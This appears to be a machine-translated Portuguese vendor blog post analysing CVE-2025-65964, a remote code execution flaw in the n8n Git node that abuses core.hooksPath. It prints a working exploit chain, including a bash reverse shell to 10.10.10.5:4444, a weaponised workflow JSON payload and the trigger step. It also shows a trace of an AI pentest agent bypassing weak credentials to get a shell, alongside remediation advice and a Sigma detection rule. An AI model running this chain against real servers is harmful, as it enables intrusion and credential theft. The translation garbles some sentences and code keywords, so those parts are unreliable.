No cenário em rápida evolução da segurança de IA, o setor geralmente se concentra em ataques adversários contra modelos de linguagem grandes (como injeção imediata), enquanto negligencia o "esqueleto" em ruínas que mantém esses agentes unidos: a camada de orquestração.
Em 8 de dezembro de 2025, a comunidade de segurança divulgou CVE-2025-65964A empresa está desenvolvendo uma vulnerabilidade crítica de execução remota de código (RCE) no n8na ferramenta de automação de fluxo de trabalho de código aberto mais popular do mundo. Com uma pontuação CVSS v4 de 9,4 (Crítico)De acordo com o autor, essa falha não é apenas mais um bug da Web. Ela representa um abuso sofisticado da lógica de configuração subjacente do Git, transformando operações legítimas de controle de versão em armas para comprometer o sistema nervoso central das pilhas modernas de IA.
Este artigo vai além do aviso genérico. Do ponto de vista de uma Equipe Vermelha hardcore, vamos dissecar toda a Cadeia de exploraçãoA causa raiz e o motivo pelo qual esse é o "ataque autêntico à cadeia de suprimentos" por excelência.
O contexto: Quando o Git se torna o vetor
O n8n se tornou uma pedra angular dos aplicativos modernos de IA, usado extensivamente para unir LLMs (como o GPT-5), bancos de dados vetoriais (como o Pinecone) e APIs internas. Para oferecer suporte a CI/CD e controle de versão para fluxos de trabalho, o n8n é fornecido com um poderoso e integrado Git Node.
O núcleo de CVE-2025-65964 está na falha do nó Git do n8n em higienizar as chaves de configuração durante o processo de addConfig operação. Os invasores aproveitam esse descuido para substituir o núcleo.hooksPath sequestrando efetivamente o fluxo de execução do binário do Git.

Compreensão núcleo.hooksPath
Em uma arquitetura Git padrão, os hooks (scripts executados em eventos como comprometer, checkout, mesclar) são armazenados no repositório .git/hooks diretório. Por motivos de segurança, o Git não replica esses ganchos ao clonar um repositório.
No entanto, o Git 2.9 introduziu a opção de configuração core.hooksPath, que permite aos usuários definir um caminho personalizado para os hooks em qualquer lugar do sistema de arquivos.
Se um invasor puder controlar essa chave de configuração e apontá-la para um diretório ao qual tenha acesso de gravação (por exemplo, /tmp/ ou um diretório de upload de arquivos), na próxima vez que o n8n executar qualquer operação do Git, o Git sairá de sua área restrita e executará o script do invasor.
A cadeia de exploração: Uma aula magistral sobre bugs de lógica
Uma exploração bem-sucedida exige mais do que uma única carga útil; ela exige "orquestração lógica". Veja abaixo a reprodução passo a passo do ataque em nosso laboratório de pesquisa.
Fase 1: Reconhecimento e acesso
O invasor primeiro obtém acesso ao editor de fluxo de trabalho do n8n. Em muitas intranets corporativas, a n8n é implantada por engenheiros de IA e cientistas de dados, geralmente sem autenticação rigorosa ou com credenciais padrão fracas.
Confirmação de destino: 0.123.1 <= Versão n8n < 1.119.2.
Fase 2: preparação da carga útil
Desde núcleo.hooksPath aponta para um diretório, o invasor deve primeiro plantar um script executável com um nome específico de gancho do Git (por exemplo, pós-checkout) em um local gravável.
Usando o n8n "Write Binary File" (Gravar arquivo binário) (ou um nó "Execute Command", se não for reforçado), o invasor descarta um script mal-intencionado.
Exemplo de script malicioso (/tmp/pwn/post-checkout):
Bash
`#!/bin/bash
Uma carga útil de shell reverso
Executado silenciosamente após uma operação de checkout do Git
/bin/bash -i >& /dev/tcp/10.10.10.5/4444 0>&1`
Fase 3: Injeção de configuração
Esse é o ponto de disparo. O atacante cria um Git Node e seleciona a operação "Add Config". Normalmente, os usuários configuram user.name ou user.email. No entanto, ao manipular os parâmetros JSON diretamente, o invasor injeta a chave perigosa.
A carga útil JSON da exploração:
JSON
{ "parameters": { "operation": "addConfig", "configName": "core.hooksPath", "configValue": "/tmp/pwn", "repositoryPath": "/home/node/.n8n/git/workflow_repo" }, "name": "Weaponized_Git_Config", "type": "n8n-nodes-base.git", "typeVersion": 1, "position": [460, 300] }
Quando esse nó é executado, o processo n8n subjacente é executado:
git config -file /home/node/.n8n/git/workflow_repo/.git/config core.hooksPath /tmp/pwn
Fase 4: O gatilho
Depois que a configuração é definida, ela é persistente. O invasor simplesmente adiciona outro nó Git ao fluxo de trabalho para executar uma operação benigna, como git checkout master ou git status.
Sequência: O processo Git é iniciado -> Lê core.hooksPath -> Carrega /tmp/pwn/post-checkout -> RCE Executado.

Por que este é um pesadelo para a infraestrutura de IA
Para os engenheiros de segurança, entender a impacto é mais importante do que o bug em si. Na era da IA, um servidor n8n não é apenas um serviço da Web; é um Cofre de chaves.
- Dumping de credenciais: O banco de dados n8n contém chaves de API criptografadas para OpenAI, AWS Bedrock, Snowflake e Slack. Com acesso ao shell, um invasor pode descriptografar essas credenciais (geralmente encontradas em ~/.n8n/database.sqlite), levando a um comprometimento total do ambiente de nuvem corporativa.
- Envenenamento de RAGs: Os invasores podem sequestrar os fluxos de trabalho que gravam nos bancos de dados vetoriais. Ao injetar trechos de conhecimento mal-intencionados, eles podem manipular a saída dos sistemas RAG corporativos internos, facilitando a engenharia social profunda ou campanhas de desinformação.
- Riscos de fuga de contêineres: Muitas implantações do n8n são executadas com privilégios elevados (ou -privileged) para permitir que as bibliotecas Python, como a LangChain, interajam com o sistema. Nesses casos, o RCE dentro do contêiner é funcionalmente equivalente ao Root no host.
O estudo de caso da Penligent: Agente vs. Agente
Em Penligent.aiClassificamos isso como uma "falha lógica". Os scanners DAST tradicionais não conseguem detectar o CVE-2025-65964 porque:
- Os scanners não sabem como "criar um fluxo de trabalho".
- Os scanners não conseguem entender a lógica temporal de "Write File first, Configure Git second".
Os agentes de teste de penetração automatizados da Penligent, no entanto, demonstram recursos de raciocínio que imitam atacantes humanos avançados.
[Rastreamento interno do agente penumbroso - 2025-12-09 14:02:33]
Observação: Porta de destino 5678 aberta. Identificado como n8n. Bypass de credenciais fracas bem-sucedido.
Justificativa: Capacidade do nó Git detectada. A base de conhecimento indica o risco de injeção do Git Config. A execução direta do comando está bloqueada. Posso conseguir a execução por meio da manipulação do ambiente ou da configuração?
Plano de ação:
- Tentativa
Executar comandopara verificar o egresso (Falha, nó desativado).- Estratégia de pivô: Pesquisar primitivas de gravação de arquivos.
Gravar arquivo binárioestá disponível.- Construir a cadeia de exploração: Escreva o shell reverso em /tmp/.git-hooks -> Injete core.hooksPath via Git Node -> Acione o Git Log.Execution: Executando o fluxo de trabalho ID pwn_test_01.Result: Chamada de retorno do shell reverso recebida. Vulnerabilidade verificada.
Essa é a proposta de valor central da Penligente: Usando a IA para combater a IA. Nossos agentes não se limitam a corresponder impressões digitais; eles entendem a lógica comercial e simulam a estratégia de alto nível do adversário em uma área restrita segura.

Defesa e detecção
Remediação
- Patch Imediatamente: Atualize o n8n para a versão 1.119.2 ou posterior. A nova versão implementa uma lista de permissão rigorosa para
addConfigchaves. - Endurecimento: Use o
N8N_NODES_EXCLUDE=["n8n-nodes-base.git"]em sua configuração do Docker para desativar completamente o nó do Git se ele não for de missão crítica.
Caça às ameaças
Se você suspeitar de uma violação, audite o .git/config em seus servidores n8n.
Exemplo de regra de detecção de Sigma:
YAML
título: Suspicious Git Config Modification via n8n status: experimental logsource: category: process_creation product: linux detection: selection: ParentImage|endswith: '/node' Image|endswith: '/git' CommandLine|contains: - 'config' - 'core.hooksPath' condição: seleção nível: alto
Qualquer comando Git gerado por um processo Node.js que tenta modificar núcleo.hooksPath deve ser tratado como um indicador de comprometimento (IoC) de alta fidelidade.
Conclusão
CVE-2025-65964 prova mais uma vez que, à medida que o desenvolvimento de software muda para arquiteturas "Agent Native", os limites tradicionais estão se confundindo. A flexibilidade de nossas ferramentas costuma ser o maior inimigo da segurança.
Para o engenheiro de segurança mais exigente, o campo de batalha mudou do front-end da Web para o back-end de orquestração. Não observe apenas as solicitações HTTP; observe os fluxos de trabalho em execução silenciosa em segundo plano. Observe as operações automatizadas do Git. Essa é a linha de frente de 2025.
Se a sua equipe não tem mão de obra para verificar manualmente esses riscos lógicos complexos, talvez seja hora de trazer Penligente-o membro inteligente da equipe vermelha digital que mantém a linha na era da IA.
Links internos / referências:

